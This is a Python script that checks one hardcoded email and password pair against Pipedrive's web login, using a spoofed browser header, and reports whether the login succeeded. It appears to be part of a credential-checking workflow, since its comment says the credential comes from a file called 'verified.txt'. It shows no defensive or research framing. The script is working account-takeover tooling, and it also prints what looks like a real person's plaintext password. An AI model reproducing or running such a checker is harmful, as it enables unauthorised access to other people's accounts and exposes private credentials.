#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Test a single credential manually to see what's happening
"""

import requests
import re

LOGIN_URL = "https://app.pipedrive.com/auth/login"

# Test with first credential from verified.txt
email = "jp.dejong@iptvmiddleware.com"
password = "Sneeuw1290"

print("=" * 70)
print("TESTING SINGLE CREDENTIAL")
print("=" * 70)
print(f"Email: {email}")
print(f"Password: {password}")
print("=" * 70)

session = requests.Session()

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'Referer': 'https://app.pipedrive.com/auth/login',
}

try:
    print("\n[1] Getting login page...")
    response = session.get(LOGIN_URL, headers=headers, timeout=10)
    print(f"    Status: {response.status_code}")
    print(f"    URL: {response.url}")
    
    # Check for CSRF token or other hidden fields
    if 'csrf' in response.text.lower() or 'token' in response.text.lower():
        print("    [!] Found CSRF token in page")
    
    print("\n[2] Attempting login...")
    login_data = {
        'email': email,
        'password': password,
        'remember_me': 'true'
    }
    
    # Try to find form fields
    print(f"    Sending data: email={email}, password={'*' * len(password)}")
    
    login_response = session.post(
        LOGIN_URL,
        data=login_data,
        headers=headers,
        allow_redirects=True,
        timeout=10
    )
    
    print(f"\n[3] Login response:")
    print(f"    Status: {login_response.status_code}")
    print(f"    Final URL: {login_response.url}")
    print(f"    URL length: {len(login_response.url)}")
    
    # Check response content
    response_text = login_response.text.lower()
    
    print(f"\n[4] Analyzing response...")
    
    # Check for errors
    error_keywords = ['error', 'invalid', 'incorrect', 'wrong', 'failed', 'login failed']
    found_errors = []
    for keyword in error_keywords:
        if keyword in response_text:
            found_errors.append(keyword)
    
    if found_errors:
        print(f"    [-] Found error keywords: {', '.join(found_errors)}")
    
    # Check URL
    if '/auth/login' in login_response.url:
        print(f"    [-] Still on login page (FAILED)")
    elif '/app/' in login_response.url or '/deals' in login_response.url:
        print(f"    [+] Redirected to app (SUCCESS)")
    else:
        print(f"    [?] Unknown redirect: {login_response.url[:80]}")
    
    # Check content
    if 'dashboard' in response_text or 'deals' in response_text:
        print(f"    [+] Found dashboard content (SUCCESS)")
    elif 'please log in' in response_text or 'log in to continue' in response_text:
        print(f"    [-] Still showing login page (FAILED)")
    
    # Show first 500 chars of response
    print(f"\n[5] Response preview (first 500 chars):")
    print("-" * 70)
    print(login_response.text[:500])
    print("-" * 70)
    
    # Final verdict
    print(f"\n[6] VERDICT:")
    if '/auth/login' in login_response.url:
        print(f"    ✗ LOGIN FAILED - Still on login page")
    elif '/app/' in login_response.url or '/deals' in login_response.url:
        print(f"    ✓ LOGIN SUCCESS - Redirected to app")
    else:
        print(f"    ? UNCLEAR - Need manual check")
        
except Exception as e:
    print(f"\n[!] ERROR: {str(e)}")
    import traceback
    traceback.print_exc()

print("\n" + "=" * 70)

